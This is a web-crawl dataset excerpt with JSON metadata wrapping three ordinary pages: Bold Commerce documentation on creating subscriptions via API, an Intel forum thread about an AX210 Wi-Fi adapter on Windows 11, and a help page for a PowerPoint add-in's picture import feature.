"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
1,639,188,123,634,526,500 | Skip to main content
Programmatically Create Subscriptions
The Create Subscription endpoint enables you to create subscriptions for a customer at any point in their user journey. Customers can subscribe in a myriad of ways: through email funnels, after one-time purchases, and many more.
This document contains reference information to help you call the Create Subscription endpoint of the Bold Subscriptions API and understand the potential error behavior.
note
Bold provides an open source example project that demonstrates the capabilities of this endpoint on the BigCommerce platform.
Before you make a request
1. Complete the steps outlined in the Subscriptions Getting Started guide.
2. Capture and tokenize the customer's payment details within your payment gateway. Connect the payment gateway account used to capture that information to the checkout you are using with Bold Subscriptions.
Making a request
In order to call the Create Subscription endpoint, your request must include the following:
• Customer data — including basic information about the customer.
• Subscription data — including information about the subscription, such as line items and the appropriate addresses.
• Payment processing data — including information about your payment gateway and the corresponding payment method for the customer.
note
The Bold Subscriptions API requires a complete payload for the Create Subscription endpoint.
Handling the response
Idempotency
After receiving a request to create a subscription, Bold Subscriptions creates a subscription_creation_log_id for the request. This log maintains a record of which steps have been taken in the process of building a subscription. The log is also tied directly to the idempotency_key in your request. Therefore, if the API receives multiple requests for the same key, it always picks up where it left off, and no duplicate subscriptions are created.
If a subscription is successfully created and you post a subsequent request with the same idempotency_key, then the response you receive will contain a 200 status code and return the subscription that was previously created.
If your request fails and you receive an error response, the response contains the subscription_creation_log_id as well as current_subscription_creation_step, which indicates which step of the subscription creation process failed. All the possible values for this property, in the order in which they occur, are listed below:
ValueAlways occurs?Description
validationYesValidating the payload for validity and completeness.
customer_creationYesChecking whether the customer already exists on the platform (by customer email). If the customer already exists, no changes are made to the existing customer profile. If the customer does not exist, the customer is created.
customer_shipping_address_creationYesChecking whether the shipping address for the customer already exists on the platform. Adding the customer shipping address if it does not.
customer_billing_address_creationYesChecking whether the billing address for the customer already exists on the platform. Adding the customer billing address if it does not.
checkout_customer_creationNoCreating a payment method for the customer.
subscription_creationYesCreating the subscription for the customer. For Shopify Checkout users, the Bold Subscriptions API creates a subscription within the Shopify platform.
Choosing an idempotency key
Bold has the following recommendations for your choice of idempotency key:
• If you are coming from a third-party subscriptions app — Construct a string that includes the subscription ID from the legacy system. For example, you could use a value of "legacy-id-4328" to indicate that 4328 is the ID of the subscription on the old system.
• If you are creating a brand new subscription — Construct a unique alphanumeric string. If your request to create a subscription initially fails, reuse the same key for subsequent attempts to create the same subscription. This prevents duplicate subscriptions from being created due to network-related issues and allows you to save time on further attempts.
If you would like to repeat a Create subscription call with changes to the payload you provide, change the idempotency_key, and the Subscription API will start over with the process of creating a subscription.
Unexpected error responses
You may receive an error with a message that reads "Unexpected error." In this case, a step of subscription creation failed in a way the API did not account for.
If you experience an unexpected error, reach out to the Bold Commerce Partners Team, and provide the complete error response.
Frequently asked questions
How do I find payment gateway information for the PaymentDetails object?
Refer to the following table for details on how to find information about your checkout and gateway combination:
Checkout TypePayment Gatewaysgateway_namegateway_customer_idgateway_payment_id
Bold CheckoutAmazon PayAmazon PayUse the chargePermissionId or AmazonBillingAgreementId as the gateway_customer_id.
For example, "C04-1234567-7654321".
N/A
Bold CheckoutAuthorize.netIn the left-hand menu of the Bold Checkout app, click Payment options, then click Payment gateways. Under each of the payment gateways you connected to Bold Checkout, the gateway_name is the second line underneath the bolded text.Use the format: {Customer Profile ID}-{Payment Profile ID}.
For example, 12345678-87654321.
N/A
Bold CheckoutBraintreeBraintree Credit CardUse the BraintreePaymentMethod.legacyId as the gateway_customer_id.
For example, "6gbkd76".
N/A
Bold CheckoutBraintree PayPalBraintree PayPalUse the BraintreePaymentMethod.legacyId as the gateway_customer_id.
For example, "94w7ycr".
N/A
Bold CheckoutStripeIn the left-hand menu of the Bold Checkout app, click Payment options, then click Payment gateways. Under each of the payment gateways you connected to Bold Checkout, the gateway_name is the second line underneath the bolded text.Use the Stripe customer ID as the gateway_customer_id.
For example, "cus_a1b2c3d4e5f6g7h8".
N/A
Shopify CheckoutShopify Payments (Shopify Payment Method)shopifyUse the payment method ID as the gateway_customer_id.
For example, "gid://shopify/CustomerPaymentMethod/[id]"
N/A
Shopify CheckoutShopify Payments (Legacy Stripe)stripeUse the Stripe customer ID as the gateway_customer_id.
For example, "cus_a1b2c3d4e5f6g7h8".
Use the Shopify payment method ID as the gateway_payment_id.
For example, "pm_a1b2c3d4e5f6g7h8" or "card_a1b2c3d4e5f6g7h8".
Shopify CheckoutShopify Payments (Legacy Braintree)braintreeUse the customer ID as the gateway_customer_id.
For example, gateway_customer_id: "6gbkd76"
Use the payment method token as the gateway_payment_id.
For example, gateway_payment_id: "87654321"
Shopify CheckoutPayPal (Express)paypalUse the billing agreement ID as the gateway_customer_id.
For example, gateway_customer_id: "B-1A2B3C4D5E6F7G8H"
N/A
Shopify CheckoutAuthorize.netauthorize.netUse the customer profile ID as the gateway_customer_id.
For example, gateway_customer_id: "12345678"
Use the payment profile ID as the gateway_payment_id.
For example, gateway_payment_id: "87654321"
Set up a secondary payment gateway with Shopify
If you currently use Stripe and are moving to use Bold Subscriptions for Shopify Checkout, you must connect Stripe as a secondary payment gateway. Failure to connect your legacy Stripe account to your store may result in payments not being processed. Use the following steps to make this connection:
1. Follow the instructions on the Connect a Legacy Stripe Account Before Migrating page in the Bold Help Center.
2. Follow the instructions on the Migrate Customer Information to Shopify page in the Shopify developer docs.
If you currently use Braintree and are moving to use Bold Subscriptions for Shopify Checkout, you must connect Braintree as a secondary payment gateway. Failure to connect your legacy Braintree account to your store may result in payments not being processed. Use the following steps to make this connection:
1. Request that Shopify enables the legacy_subscriptions_braintree beta flag on your store. Submit a support ticket if you would like the Bold Subscriptions Migrations team to coordinate this on your behalf.
2. Follow the instructions on the Migrate Customer Information to Shopify page in the Shopify developer docs.
3. Follow the instructions on the Connect a Legacy Braintree Account before Migrating page in the Bold Help Center.
Can I use a customer's card number, expiration date, and security code directly to create a subscription?
No. Bold does not directly handle customer payment information and instead requires the payment gateway's customer payment method tokens. These tokens are available for any customer who has a payment method registered in the payment gateway connected to your checkout provider. Learn more about PaymentDetails requirements.
How do I make phone numbers optional when using Shopify checkout?
If you're using Shopify Checkout and seeing errors that the phone number is required, there may be a conflicting phone number setting in the Shopify admin. In the left-hand menu of the Shopify admin, click Settings, then Checkout. In the Shipping address phone number section, you can configure phone number requirements. Keep in mind that this setting affects the customer storefront experience as well.
How do I find the subscription_group_id for a line item?
There are two ways to find the subscription_group_id of a line item:
• Programmatically, through the List Subscription Groups endpoint.
• Manually, in the Bold Subscriptions App: In the left-hand menu, click Subscription groups. In the table of subscription groups you see, you can find the subscription_group_id under the name of each subscription group.
How do I find the platform_product_id and platform_variant_id for a line item?
There are two ways to find these attributes of a line item:
• Programmatically:
• Get the product's platform_product_id by calling the List Products endpoint; the platform_id returned in the data.products object of the List Products endpoint is the platform_product_id for that product.
• After obtaining the platform_id using the List Products endpoint, call the List Product Variants endpoint and use the platform_id as the platform_product_id parameter. The response returns all the product variants for that platform_product_id.
• Manually, through the applicable platform: You can retrieve these attributes through the platform admin you are using:
What currencies are supported for creating subscriptions?
The base_currency is the base currency you configured in your platform's configuration. The charged_currency depends on the supported currencies based on your checkout type.
• For stores using Bold Checkout: In the left-hand menu of the Bold Checkout app, click Payment options, then Payment gateways. The supported currencies are listed beneath with the payment gateway(s) you have connected.
• For stores using Shopify Checkout: In the left-hand menu of the Shopify admin, click Settings, then General. The Store currency section shows the currency your store uses. | {
"url": "https://developer.boldcommerce.com/guides/subscriptions-v2/create-subscription",
"source_domain": "developer.boldcommerce.com",
"snapshot_id": "CC-MAIN-2023-23",
"warc_metadata": {
"Content-Length": "48688",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NY3G6LJN3DNZ3HLU2LQWOSNTQHNF2AUW",
"WARC-Concurrent-To": "<urn:uuid:b52c448e-6165-4928-aa34-d6eadae8c786>",
"WARC-Date": "2023-06-02T11:45:13Z",
"WARC-IP-Address": "104.16.182.89",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:DUL2EDTFIACN2XEMWFUDZOTK5RWAJC6G",
"WARC-Record-ID": "<urn:uuid:5c03365c-803c-4d1a-87b9-3ee2b78c64c4>",
"WARC-Target-URI": "https://developer.boldcommerce.com/guides/subscriptions-v2/create-subscription",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d4341295-1a3a-4aca-860f-a54f2b9c73f8>"
},
"warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-118\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
21,
22,
60,
61,
290,
291,
461,
462,
467,
468,
594,
595,
621,
622,
699,
909,
910,
927,
928,
1020,
1021,
1089,
1209,
1345,
1350,
1351,
1444,
1445,
1467,
1468,
1480,
1481,
1929,
1930,
2155,
2156,
2482,
2483,
2514,
2581,
2826,
3003,
3177,
3249,
3424,
3425,
3453,
3454,
3529,
3530,
3794,
4155,
4156,
4366,
4367,
4394,
4395,
4557,
4558,
4684,
4685,
4712,
4713,
4786,
4787,
4900,
4901,
4980,
5096,
5132,
5136,
5452,
5484,
5488,
5599,
5623,
5627,
5740,
5764,
5768,
6072,
6109,
6113,
6231,
6287,
6291,
6400,
6437,
6498,
6561,
6669,
6713,
6769,
6813,
6908,
6963,
6967,
7065,
7110,
7164,
7208,
7209,
7257,
7258,
7558,
7559,
7674,
7786,
7787,
8096,
8097,
8307,
8419,
8537,
8538,
8644,
8645,
8969,
8970,
9036,
9037,
9442,
9443,
9500,
9501,
9570,
9571,
9640,
9862,
9863,
9942,
9943,
10003,
10004,
10026,
10237,
10487,
10610,
10611,
10669,
10670,
10844,
10845,
11067
],
"line_end_idx": [
21,
22,
60,
61,
290,
291,
461,
462,
467,
468,
594,
595,
621,
622,
699,
909,
910,
927,
928,
1020,
1021,
1089,
1209,
1345,
1350,
1351,
1444,
1445,
1467,
1468,
1480,
1481,
1929,
1930,
2155,
2156,
2482,
2483,
2514,
2581,
2826,
3003,
3177,
3249,
3424,
3425,
3453,
3454,
3529,
3530,
3794,
4155,
4156,
4366,
4367,
4394,
4395,
4557,
4558,
4684,
4685,
4712,
4713,
4786,
4787,
4900,
4901,
4980,
5096,
5132,
5136,
5452,
5484,
5488,
5599,
5623,
5627,
5740,
5764,
5768,
6072,
6109,
6113,
6231,
6287,
6291,
6400,
6437,
6498,
6561,
6669,
6713,
6769,
6813,
6908,
6963,
6967,
7065,
7110,
7164,
7208,
7209,
7257,
7258,
7558,
7559,
7674,
7786,
7787,
8096,
8097,
8307,
8419,
8537,
8538,
8644,
8645,
8969,
8970,
9036,
9037,
9442,
9443,
9500,
9501,
9570,
9571,
9640,
9862,
9863,
9942,
9943,
10003,
10004,
10026,
10237,
10487,
10610,
10611,
10669,
10670,
10844,
10845,
11067,
11242
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 11242,
"ccnet_original_nlines": 144,
"rps_doc_curly_bracket": 0.0003558100142981857,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3484928607940674,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021152829751372337,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.15600211918354034,
"rps_doc_frac_unique_words": 0.2750788629055023,
"rps_doc_mean_word_length": 5.80378532409668,
"rps_doc_num_sentences": 111,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.171903133392334,
"rps_doc_word_count": 1585,
"rps_doc_frac_chars_dupe_10grams": 0.16099576652050018,
"rps_doc_frac_chars_dupe_5grams": 0.28133493661880493,
"rps_doc_frac_chars_dupe_6grams": 0.2426350712776184,
"rps_doc_frac_chars_dupe_7grams": 0.22904664278030396,
"rps_doc_frac_chars_dupe_8grams": 0.17947602272033691,
"rps_doc_frac_chars_dupe_9grams": 0.17077943682670593,
"rps_doc_frac_chars_top_2gram": 0.009240129962563515,
"rps_doc_frac_chars_top_3gram": 0.021524079144001007,
"rps_doc_frac_chars_top_4gram": 0.024459179490804672,
"rps_doc_books_importance": -867.8807983398438,
"rps_doc_books_importance_length_correction": -867.8807983398438,
"rps_doc_openwebtext_importance": -524.5326538085938,
"rps_doc_openwebtext_importance_length_correction": -524.5326538085938,
"rps_doc_wikipedia_importance": -343.2502136230469,
"rps_doc_wikipedia_importance_length_correction": -343.2502136230469
},
"fasttext": {
"dclm": 0.3780452609062195,
"english": 0.8394765257835388,
"fineweb_edu_approx": 1.38593590259552,
"eai_general_math": 0.10250359773635864,
"eai_open_web_math": 0.11967933177947998,
"eai_web_code": 0.5962238311767578
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.85",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,187,218,342,942,235,100 | Wireless
Issues related to Intel® Wireless Adapters and technologies
6305 Discussions
Intel(R) Wi-Fi 6E AX210 160MHz Not Recognized on Windows 11
akslondon
Beginner
1,154 Views
Hello, I've a custom build PC with Intel(R) Wi-Fi 6E AX210 160MHz 22.90.0.5 installed on it. During windows setup process it did see the WiFi and I did manage to connect to it but after the setup was complete it doesn't show the Wifi. Wifi card is pre-installed. How do I fix it?
Details:
Operating System: Microsoft Windows 11 Home(10.0.22000 Build 22000)
Intel(R) Wi-Fi 6E AX210 160MHz 22.90.0.5
0 Kudos
5 Replies
akslondon
Beginner
1,148 Views
Never mind, updating software did fix the issue.
akslondon
Beginner
1,140 Views
Sorry it is again not working . What is going on, why does it stop working after getting fixed?
DeividA_Intel
Moderator
1,127 Views
Hello akslondon,
Thank you for posting on the Intel® communities.
In order to better assist you, please provide the following:
1. Run the Intel® System Support Utility (Intel® SSU) to gather more details about the system.
2. Is this issue recent? If so, when did the issue start?
3. Do you see an error code at the device manager under the wireless adapter?
4. Is the computer finding the network or is the Wi-Fi icon gone?
5. What is the brand and model name of your router?
Best regards,
Deivid A.
Intel Customer Support Technician
DeividA_Intel
Moderator
1,095 Views
Hello akslondon,
Were you able to check the previous post and get the information requested? Please let me know if you need more assistance.
Regards,
Deivid A.
Intel Customer Support Technician
DeividA_Intel
Moderator
1,070 Views
Hello akslondon,
We have not heard back from you, so we will close this inquiry. If you need further assistance or if you have additional questions, please create a new thread and we will gladly assist you.
Regards,
Deivid A.
Intel Customer Support Technician
Reply | {
"url": "https://community.intel.com/t5/Wireless/Intel-R-Wi-Fi-6E-AX210-160MHz-Not-Recognized-on-Windows-11/td-p/1350773",
"source_domain": "community.intel.com",
"snapshot_id": "crawl=CC-MAIN-2022-49",
"warc_metadata": {
"Content-Length": "260764",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SMQ4GBTW7CTKLNXTPNTFMKFJYZWCXDEL",
"WARC-Concurrent-To": "<urn:uuid:d3f05c82-3727-440b-a3e8-ecc3fdb36c1b>",
"WARC-Date": "2022-12-08T21:14:58Z",
"WARC-IP-Address": "18.67.76.27",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:VLQJ4L66LNB5ZW3XQS5DPC26PYJOZ5UW",
"WARC-Record-ID": "<urn:uuid:99611efa-cfbd-4779-8cb1-277360cfbecf>",
"WARC-Target-URI": "https://community.intel.com/t5/Wireless/Intel-R-Wi-Fi-6E-AX210-160MHz-Not-Recognized-on-Windows-11/td-p/1350773",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ac308625-bf25-48e5-b728-2d201d4063fc>"
},
"warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-111\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
9,
69,
86,
87,
147,
148,
158,
167,
179,
180,
461,
462,
471,
472,
540,
541,
582,
583,
591,
601,
611,
620,
632,
633,
682,
683,
693,
702,
714,
715,
812,
813,
827,
837,
849,
850,
869,
870,
873,
874,
926,
927,
930,
931,
994,
995,
996,
1093,
1094,
1152,
1153,
1231,
1232,
1298,
1299,
1351,
1352,
1353,
1354,
1369,
1370,
1382,
1383,
1418,
1419,
1420,
1434,
1444,
1456,
1457,
1475,
1476,
1477,
1604,
1605,
1608,
1609,
1620,
1621,
1633,
1634,
1670,
1671,
1672,
1686,
1696,
1708,
1709,
1727,
1728,
1729,
1732,
1733,
1925,
1926,
1927,
1930,
1931,
1942,
1943,
1955,
1956,
1992,
1993,
1994
],
"line_end_idx": [
9,
69,
86,
87,
147,
148,
158,
167,
179,
180,
461,
462,
471,
472,
540,
541,
582,
583,
591,
601,
611,
620,
632,
633,
682,
683,
693,
702,
714,
715,
812,
813,
827,
837,
849,
850,
869,
870,
873,
874,
926,
927,
930,
931,
994,
995,
996,
1093,
1094,
1152,
1153,
1231,
1232,
1298,
1299,
1351,
1352,
1353,
1354,
1369,
1370,
1382,
1383,
1418,
1419,
1420,
1434,
1444,
1456,
1457,
1475,
1476,
1477,
1604,
1605,
1608,
1609,
1620,
1621,
1633,
1634,
1670,
1671,
1672,
1686,
1696,
1708,
1709,
1727,
1728,
1729,
1732,
1733,
1925,
1926,
1927,
1930,
1931,
1942,
1943,
1955,
1956,
1992,
1993,
1994,
1999
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1999,
"ccnet_original_nlines": 105,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2788461446762085,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04086538031697273,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.26682692766189575,
"rps_doc_frac_unique_words": 0.5445860028266907,
"rps_doc_mean_word_length": 4.8121018409729,
"rps_doc_num_sentences": 35,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.84639835357666,
"rps_doc_word_count": 314,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.1687624156475067,
"rps_doc_frac_chars_dupe_6grams": 0.153540700674057,
"rps_doc_frac_chars_dupe_7grams": 0.11515553295612335,
"rps_doc_frac_chars_dupe_8grams": 0.08603574335575104,
"rps_doc_frac_chars_dupe_9grams": 0.08603574335575104,
"rps_doc_frac_chars_top_2gram": 0.026472529396414757,
"rps_doc_frac_chars_top_3gram": 0.023825280368328094,
"rps_doc_frac_chars_top_4gram": 0.033752478659152985,
"rps_doc_books_importance": -204.86941528320312,
"rps_doc_books_importance_length_correction": -204.86941528320312,
"rps_doc_openwebtext_importance": -128.54034423828125,
"rps_doc_openwebtext_importance_length_correction": -128.54034423828125,
"rps_doc_wikipedia_importance": -115.28968048095703,
"rps_doc_wikipedia_importance_length_correction": -115.28968048095703
},
"fasttext": {
"dclm": 0.6288979649543762,
"english": 0.7854931354522705,
"fineweb_edu_approx": 1.053544521331787,
"eai_general_math": 0.005004880018532276,
"eai_open_web_math": 0.2247103452682495,
"eai_web_code": 0.00014138000551611185
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "1",
"label": "Factual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
1,401,733,622,195,547,100 | How to use george!
MEDIA: IMPORT PICS
The george! Import Pics function adds multiple images into your choice of eight PowerPoint slide layouts at the insertion point you require in an open PowerPoint file.
To Import Pictures
1. Click the Import Pics button on the george! ribbon.
2. Select the slide layout you require.
3. Select the insertion point.
4. Select the insertion type.
5. Click the Start button in the lower right corner of the dialog box.
6. Navigate to your image files.
7. Select the files to insert.
8. Click OK.
9. Take your hand off your mouse until the insertion process is complete.
Layout
1. Choose one of the PowerPoint slide layout options to use for the images being inserted.
2. Hover your cursor over the layout icons to see the slide layout types.
3. The choices are:
• Title Bar, Single Picture
• Title Bar, Picture Left, Text Right
• Title Bar, Two Pictures
• Title Bar, Two Pictures, Captions Above
• Title Bar, Four Pictures
• Picture Only
• Picture, Caption Below
• Caption andText Left, Picture Right
Insertion Point
1. By default the new slides will be inserted at the end of the file.
2. Click on Selected to add the new slides immediately following a currently selected slide.
To insert after a Selected slide
1. Use the PowerPoint Normal view or Slide Sorter view to highlight the slide that marks the insertion point.
2. In the Import Pics dialog box click Selected as the Insert option.
To Select Multiple Images
1. After clicking the Start button you are prompted to select the image files to insert.
2. To select various image files use Control + Click.
3. To select a continuous series of image files use Shift + Click.
4. Once your images are selected, click OK.
5. The images are inserted based on the sorted order of their file names.
About Insertion Type
george! provides 3 insertion type options. By default george! inserts image files as "Linked and Embedded" and this is the insertion type we recommend. Two other options are also available. These are the same options Microsoft Office provides.
1. Embedded. This method saves the image in the document.
2. Linked. This method saves only a file path to the image.
3. Linked and Embedded. This method saves the file path and saves a copy of the image in the document.
Why we recommend Linked and Embedded
First we need to explain the pros and cons of inserting images as linked files only or embedded files only.
Linked files have the advantage of saving space and always being current. Since the image file is not actually embedded in the document, the file size of the document stays smaller. In addition, the externally linked image can be updated easily and as long at the full linked path, including file name does not change. In this circumstance when the document is reopened the new image is displayed.
BUT... The ability to easily share a document with linked images is a disadvantage. Because the document only has a file path name to the image the recipient of the document must have access to that same full file path in order for linked images to be displayed. If you choose Linked only a best practice is to store the linked images in the same folder as the PowerPoint or Word file they are in, and when sharing, share the entire folder.
Embedded images are on the other end of the continuum of insertion options. Files with embedded images are easily shared. However, file sizes increase and updating the images requires more work.
Linked and Embedded is the hybrid choice and the option we recommend. Because Linked and Embedded saves the image in the file it is easily shared. Because this method also stores the file path to the image file, if the linked path is available when the document is opened, the saved image will be updated. When the document is opened and the linked path is not available, the embedded image is displayed.
Help
As you are in the Import Pics dialog box, click on the george! logo to view written instructions to refresh your memory about how to use the functions provided.
The built-in instructions can also be accessed by clicking on the Help button at the end of the george! ribbon and selecting Written Instructions.
Not finding the help you need? | {
"url": "http://www.greatcirclelearning.com/george-media-import",
"source_domain": "www.greatcirclelearning.com",
"snapshot_id": "crawl=CC-MAIN-2017-22",
"warc_metadata": {
"Content-Length": "90435",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NXESBRSKYUZP7E6LQHJZEYOPVHWNQHEB",
"WARC-Concurrent-To": "<urn:uuid:a74e6723-f58d-4326-8452-6fcf1b10a070>",
"WARC-Date": "2017-05-28T01:02:26Z",
"WARC-IP-Address": "198.49.23.145",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:V5BNIZO7FQ4CJNFTSHFXICYJEJUADERG",
"WARC-Record-ID": "<urn:uuid:86222958-65a3-4e7d-90c7-48055656c19f>",
"WARC-Target-URI": "http://www.greatcirclelearning.com/george-media-import",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:22603ce3-3b31-4c9a-a5ea-07639d31d94c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-224-210.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
19,
20,
40,
41,
43,
44,
212,
213,
214,
233,
234,
291,
333,
366,
398,
471,
506,
539,
554,
631,
632,
634,
635,
637,
638,
645,
646,
739,
745,
821,
827,
849,
879,
919,
947,
991,
1020,
1037,
1064,
1104,
1106,
1108,
1109,
1125,
1126,
1198,
1204,
1299,
1301,
1303,
1304,
1337,
1338,
1450,
1456,
1528,
1530,
1532,
1533,
1559,
1560,
1651,
1657,
1713,
1719,
1788,
1794,
1841,
1847,
1923,
1924,
1945,
1946,
2190,
2191,
2251,
2313,
2418,
2419,
2421,
2422,
2423,
2460,
2461,
2569,
2570,
2572,
2574,
2575,
2973,
2974,
3415,
3416,
3418,
3419,
3614,
3615,
3617,
3619,
3620,
4025,
4026,
4027,
4029,
4030,
4035,
4036,
4198,
4199,
4346,
4347,
4349,
4350,
4352,
4353,
4355,
4356
],
"line_end_idx": [
19,
20,
40,
41,
43,
44,
212,
213,
214,
233,
234,
291,
333,
366,
398,
471,
506,
539,
554,
631,
632,
634,
635,
637,
638,
645,
646,
739,
745,
821,
827,
849,
879,
919,
947,
991,
1020,
1037,
1064,
1104,
1106,
1108,
1109,
1125,
1126,
1198,
1204,
1299,
1301,
1303,
1304,
1337,
1338,
1450,
1456,
1528,
1530,
1532,
1533,
1559,
1560,
1651,
1657,
1713,
1719,
1788,
1794,
1841,
1847,
1923,
1924,
1945,
1946,
2190,
2191,
2251,
2313,
2418,
2419,
2421,
2422,
2423,
2460,
2461,
2569,
2570,
2572,
2574,
2575,
2973,
2974,
3415,
3416,
3418,
3419,
3614,
3615,
3617,
3619,
3620,
4025,
4026,
4027,
4029,
4030,
4035,
4036,
4198,
4199,
4346,
4347,
4349,
4350,
4352,
4353,
4355,
4356,
4386
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 4386,
"ccnet_original_nlines": 117,
"rps_doc_curly_bracket": 0,
